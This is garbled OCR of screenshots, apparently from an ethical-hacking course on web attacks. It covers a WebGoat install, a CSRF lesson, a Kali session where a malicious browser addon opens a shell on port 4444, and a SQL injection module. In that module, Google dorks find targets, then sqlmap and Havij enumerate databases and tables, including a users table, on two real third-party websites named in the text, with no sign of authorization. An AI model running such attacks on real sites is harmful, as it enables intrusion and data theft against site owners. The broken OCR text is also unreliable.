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| i Loading, Please Wait... | +

172.16.100.5: 7070, kn2 70V

HTMLS Rendering Enhancements has been installed
successfully.

root@kali: ~

File Edit View Search Terminal Help

ection

= 172.16.100

‘pi bootstrapped addon Sending xpi and waiting fq¢

d (172.16.100.5:4444 -= 172.16.100.6:
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o

Mame Date modified Type Size

2/11/2016 7:45 PM File folder

[Z4) jre-Tu2-windows-x54 12Q07/2011 1:16 AM Application 20,947 KB
oat-container-7.0-5MAPSHOT-war-... /201612:51 PM Executable Jar File 12415 KB
 xampp-win3d2-5615-1-VC11-installer 2/11/2016 7:15 PM Application 111,436 KB

webng

C:swwehgoat>java —jar webhgoat—container—7.8-5SNAPSHOT —war—exec.jar

BN Administrator: C\Windows\System32\cmd.exe - java -jar webgoat-container-7.0-5MAPSHOT-war-... | = | = @

22%?—@2613 H?:56:081.994 DEBUG - org.apache.axis.il8n.resource:handleGetObject (hjR
adChars

2016-82-13 879:56:82,.857 DEBUG - Enter~-Exit: JAFDataHandlerDeserializerFactorydcl
ass Jjava.awt.Image, {http:/7xml.apache.org-«xml-soap*Image’

2016-82-13 B7:56:82.857 DEBUG — Enter~-Exit: JAFDataHandlerDeserializerFactorydcl
ass javax.mail.internet . MimeMultipart,. {http:--xml.apache.orgsxml-zsoap>Multipart

>

2016-82-13 #?7:56:82.857 DEBUG - Enter~-Exit: JAFDataHandlerDeserializerFactory{in
terface javax.xml.transform.Source, {http:t-sxml.apache.orgsxml-zoap>Sourcel
2016-82-13 879:56:82,.857 DEBUG - Enter~-Exit: JAFDataHandlerDeserializerFactorydcl
ass org.apache.axis.attachments.OctetStream, {http: s xml.apache.org-xml-soaproct
et—stream)

2016-82-13 @7:56:82.85%7 DEBUG — Enter~Exit: JAFDataHandlerDeserializerFactory()

2016-82-13 @9:56:82,135 DEBUG - Exit: AxisEngine::init

2016-82-13 B7:56:82.135% DEBUG — Exit: DefaultAxisServerFactory::getServer
2016-02—13 A?:56:A2,.135 DEBUG - Exit: getEngined>

Feh 12, 2816 2:56:082 AM org.apache.covote _httpll _HttpliProtocol start

INF0: Starting ProtocolHandler ["http—bio—8B86"]

Feb 13, 2816 18:14:15 AM org.apache.jasper.conpiler.TldLocationsCache tldScandar

INFO: At least one JAR was scanned for TLDs yet contained no TLDs. Enable debug
logging for this logger for a complete list of JARs that were scanned but no TLD
= were found in them. Skipping wnneeded JARs during scanning can improve startup
time and JSP compilation time.

m
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(-_ localhost:B080/ WebGoat/legin.mwve _J [ Search ﬁ’ E U ‘v ﬁ e

|8 Most Visited

% WEBGOAT

| Suggested Sites @ Getting Started || Web Slice Gallery

Username

Password

The following accounts are built into Webgoat

Account User Password

Webgoat User guest guest

Webaoat Admin webaoat webaoat

(-. localhost: 8080, WebGoat/login.mvc c Search wBa @ 3 & O

2 Most Visited |} Suggested Sites @ Getting Started % Web Slice Gallery

% WEBGOAT

4 N
Username

guest

Password

h, »

The following accounts are built into Webgoat
Account User Password

Webgoat User guest guest

Webaoat Admin webaoat webaoat
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= How to work with WebGoat

Java Source | Solution § Lesson Plan EEREGEREEER]

How To Work With
WebGoat

Welcome to a brief overview of WebGoat

Environment Information

WebGoat uses the Apache Tomcat server but can run in any
application server. It is configured to run on localhost although this
can be easily changed, see the "Tomcat Configuration” section in the
Introduction

The WebGoat Interface

Hitp Basics

I WEBGOAT

2 3| |4 |5

] EEmEmemm L1
Cooldes /
Parameters

Java Source | Solution § Lesson Plan | Hints JREGEEEGRREE]

Your goal is to send an email to a newsgroup. The email contains an
image whose URL is pointing to a malicious request. In this lesson the
URL should point to the "attack” servlet with the lesson's "Screen” and
"menu" parameters and an extra parameter "transferFunds" having
an arbitrary numeric value such as 5000. You can construct the link
by finding the "Screen” and "menu” values in the Parameters inset on
the right. Recipients of CSRF emails that happen to be authenticated
at that time will have their funds transferred. When this lesson's attack
succeeds, a green checkmark appears beside the lesson name in the
menu on the left

Title

Message

& i
Cookies /
Parameters
Cookie/s
name JSESSIONID
value 5D0SDF443204AF2B7D2B10
comment
domain
maxAge | -
path
secure | false
version |0

httpOnly | fals=

Parameters

scr
menu
stage
num

93

omooR

Cross Site Request Forgery (CSRF)

& i
Cookies /
Parameters
Cookie/s
name JSESSIONID
value EDOEDF442204AF2BTD2E10
comment
domain
maxAge | -1
path
secure false
version o

httpOnly | fsls=

Parameters

scr | 270

»

m

m
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"menu” parameters and an extra parameter "transferFunds" having
an arbitrary numeric value such as 5000. You can construct the link
by finding the "Screen” and "menu” values in the Parameters inset on
the right. Recipients of CSRF emails that happen to be authenticated
at that time will have their funds transferred. When this lesson's attack
succeeds, a green checkmark appears beside the lesson name in the

Title: hello

Message: this is a test |




Message:

@Javangrpchannel

|

hello

Message List ]

Message Contents For:
hello

Title: hello
Message: this is a test

Posted By: guest

version |o
httponly false

Parameters

scr | 270
menu | s00
stage
num
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13-SQL Injection

SOQL Injection

Module 13

Unmask the Invisible Hacker.
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What is SQL Injection?

SQL injection is a technique used to take advantage of
non-validated input vulnerabilities to pass SQL
commands through a web application for execution by
a backend database

SQL injection is a basic attack used to either gain
unauthorized access to a database or to retrieve
information directly from the database

==

It is a flaw in web applications and not a database or
web server issue

Copyright © by I6-Geuncil All Rights Reserved. Reproduction is Strictly Probibited.

filetype:php allinurl:index?catid=
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php?id=6 site=iapr.org — Google Search - Iceweasel HIEJI.J
J.'f/ G php?id=6 site=iapr.o... ¥ \ e
.\(' | @ https://www.google.com/?gws_rd=ssld#q=php%3Fidi# v C'| | G v Google '@| T B 4+ &

-MostV|5|tedV “f.)ffenswe Security "\\.Kall Linux "‘\,Kal.l Docs *\,KallTooLs ﬂExmet DB

GO gl{php'ﬂd =6 site=iapr.org H

All Mews Videos Shopping Images Maore = Search tools

Ahout 848 results (0.76 seconds)

IAPR - Technical Committees
www.iapr.org/committees/committees php?id=6 ~

The International Association for Pattern Recognition (IAPR) is an international
association of non-profit, scientific or professional organizations (being national, ...

IAPR - Technical Committees

www.iapr org/committees/committees php?id=6&subid=243 ~

The International Association for Pattern Recognition (LAPR) is an international
association of non-profit, scientific or professional ... Click here to visit 's wehsite ...

IAPR - Technical Committees - lceweasel HI!J“
/| @ IAPR - Technical Co... % | &9
|
— _
A g I i of i < Zid= G [
\(' wwwv.iapr.org/committees/committees.php?id=6 v |JV Google @| wBa 3 &
MostVisiteaV IIIOFFensive Security :Kal.i Linux ;Kal.i Docs \KaLiTooLs ﬂExpLoit—DB

FELLOWS & J

IIqI) Iniernational Association l,'ll.'l Patiern Rec

COMMITTEES

ABOUTUS | IAPR CONSTITUTION = PUBLICATIONS CONFERENCES COMMITIEESS MEWS

Technical Committees

Governing Board
Executive Committee

Standing Commitiees
EXCO INITIATIVE ON TECHNICAL COMMITTEE ACTIVITIES: SUMMER SCHOOLS

Technical Committees
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root@kali: ~

File Edit View Search Terminal Help
rtt min, [ ' : 186

ommitte

root@kali: ~

File Edit View Search Terminal Help

;HHLL NULL NULL NULL, NULL# ‘

R time bl ind
time-based blind

shuttir

~# sglmap -u htip: W.lapr.o ommitte mmittees.php?id=6 -D iapr --tab

le 3.
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root@kali: ~

File Edit WView Search Terminal Help

 -D iadr -T Us

2rs - -columns]]

:~# sqglmap Lt nmitte ommitt .php?id=6 -0 iapr -T Us
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!

mmittees.php?id=6 -D iapr -T Us

+

ldprP4tt

+-% .

root@kali: ~/Desktop

File Edit View Search Terminal Help

admin.pl ufonet Veil-Evasion.py
slowloris.pl shell injection.bat
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root@kali: ¥/Desktop

File Edit View Search Terminal Help

admin.pl Veil-Evasion. py
shell_injection.bat

-= http .lapr.org

scanning. ..

-] Not Found < ttp ww.iapr.org/adminl .php
| Found = t (.iap minl.ht
Found
Found
Found
Found
Found
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inurk:php?id= - Google S X ‘\ [ Calidus - News *

G
€ - C' | https//www.google.com/search?biw=10068&bih=5668n0j=18&q=inurl%3Aphp%3Fid%3D:

i Apps [ NewTab

Go g|E inurl:php?id= j s H

All Shopping Videos Books Images More « Search tools

About 1,670,000,000 results (0.35 seconds)

profile - COBRANET

www.cobranet.org/about. php?id=1 =

Cobranet Limited was incorporated in 2003 and began its operations to provide the
Migerian Market with a reliable Internet Service and meet the requirements ...

Calidus - News

www.calidus.ro/en/news. php?id=2 =

Motice: Undefined variable: page desc in fhomefwwwistatic/calidus . rofwww.
calidus_ro/public_htmlfincludes_en'home_header php on line 72.
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~

G inurkphp?id= -

“
#oApps [

CALIDUS

LD %G s

Products | AboutUs | Pr

pentru tine, pentru mediu

CALIDUS NEWS

PERFECTA PUMPS LAUNCHED IN ROMANIA
The famous Swedish brand of pumps, Perfecta, was launched in Romania with Calidus help which has
The pumps were produced under this name since the beginning of 1950, becoming today the largest p

Because they have a wide area of models they can cover a range of use from the agriculture (irrigation’
The company's intention has never been transforming into a giant group, but to remain a leading provic
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# Havij — O *

Target: |http:ffwww.u:aIidus.rnfan!news.php?i|:|=2

Anal P
[ Keyword: |-1'\ut|: Dretect | [ 5untax: |-1'\ut|: Dretect | nalyze  ronss

D atabaze: Auto Detect “| Method: |GET | Type: |Auto Detect = M
Load Save
Post Data:

y L7 il = = D 2 A
About Info Tables Read Files Cmd Shell Cuery  Find Adrin MD3 Settings

Havij - Advanced SQL Injection Tool

Version 1.16 Pro

ITSECTEAM Copyright @ 2009-2012

By r3dm0v3

http://ITSecTeam.com
http://forum.Itsecteam.com
info@itsecteam.com Check for update

Databases: Reqgister

Thiz copy of Havil iz registered to;

r3dmi3

" Status: I'm IDLE

Clear Log
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# Havij — O *
Target: |http:waw.u:alidus.rw’en.ﬂ’news.php?id=2 | > 1]
Analyze FPause
[ Keyword: |-1'\ut|: Dietect | [ Syntax: |-1'\ut|: Dietect | ¥
D atabase: Auto Detect “| Method: |GET | Type: Auto Detect L ]
Load Save
Poszt D ata:

. 7] i 2 a D) 2 #
About Info Tables Read Files Cmd Shell Cuery  Find Admin MD3 Settings

Havij - Advanced SQL Injection Tool

Version 1.16 Pro

ITSECTEAM Copyright ® 2009-2012
By r3dm0v3

http://ITSecTeam.com
http://forum.Itsecteam.com
info@itsecteam.com Check for update

Databases: Register

Thiz copy of Havi iz registered to;

radmi3

" Statuz I'mIDLE Clear Log

est parameter: id A
ost IP: 91.216.151.7

‘el Serwver: Apache

eyword Found: Tamous

Injection type is Integer

DE Serwver: MySQgL ==t

Felected Column Count is 4
falid string Column is 2

urrent DBE: caliduzb_calidussql
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# Havij — O *
Target: | http://www.calidus.ro/en/news.php?id=2 | > 1]
Anal P
[ Keyword: |-1'\ut|: Dietect | [ Syntax: |-1'\ut|: Dietect | nalyze  rouss
Databaze: Auto Detect ~ | Method  |GET | Type |Auto Detect N
Load Save
Poszt D ata:
w i = a D b} A
About Info Tables Read Files Cmd Shell Cuery  Find Admin MD5 Settings
x 5] i m i M M
Stop Get DBEs Get Tables Get Columns  Get Data Save Tables  Save Data

----- caliduzb_caliduszgl

IJze Group_Concat [MySEL Only) &llin one request. [ ] Force to use it

" Statuz 'm IDLE

Clear list on get

Clear Log

Test parameter: id

Host IP: 91.216.151.7

web Server: Apache

Keyword Found: famous
Injection type is Integer

DE Server: MySQL ==5

Selected Column Count is 4
valid string Column is 2
Current DB: caliduzb_calidussqgl

~
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# Havij — O *
Target: | http://www.calidus.ro/en/news.php?id=2 | > 1]
Analyze Fauze
[ Keyword: |-1'\ut|: Dietect | [ Syntax: |-1'\ut|: Dietect | v
Databaze: Auto Detect “| Method | GET ~ Tppe Auto Detect = 9
Load Save
Pozt Data:

L7 i 2 a D &, A
About Info Tables Read Files Crmd Shell Cuery  Find Admin MD5 Settings

N I -

Get Col-umns Get Data Save Tables  Save Data

Get Tables

|Jze Group_Concat [MySEL Only] &llin one request. [ ] Force to use it Clear list on get

" Statuz I'm IDLE Clear Log

web Serwver: Apache A

Keyword Found: fTamous

Injection type is Integer

DE Serwver: MySQL ==§

Selected Column Count is 4

valid 5tring Column is 2

Current DB: caliduzb_calidussqgl
Data Base Found: information_schema
Data Base Found: caliduzb_calidussqgl
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# Havij — O *
Target: |http:waw.u:alidus.rw’en.ﬂ’news.php?id=2 | > 1]
Anal P
[ Keyword: |-1'\ut|: Dietect | [ Syntax: |-1'\ut|: Dietect | nalyze ause
Databaze: Auto Detect ~ | Method  |GET | Type: |Auto Detect N
Load Save
Poszt D ata:
L7 giid = = ) A, A
About Info Tables Read Files Cmd Shell Cuery  Find Admin MD3 Settings

x 5 i E i X A
Get DB= Get Tables Get Columns  J Get Data Save Tables  Save Data

-] projects

- [] projects_de

-[] projects_en

-] special_offers

-] special_offers_de

-] special_affers_en

-] suppart

-] support_de
-] suppart_en

- [w] uzers

-] wizion

-] wizion_de

-] wizion_en

-] infarmation_zchema

&l in one request. [ ] Force ta use it Clear list on get

" Statuz I'mIDLE Clear Log

Injection type is Integer A
DE Serwver: MysgL ==5

Selected Column Count is 4

valid string Column is 2

Current DB: caliduzb_calidussqgl

Data Base Found: information_schema

Data Base Found: caliduzb_calidussqgl

Count(table_name) of information_schema.tables where table_schema=0x&63616C6964757A625]
Tables found: about,about_de,about_en,categories,categories_de,categories_en,contact,

W

< >






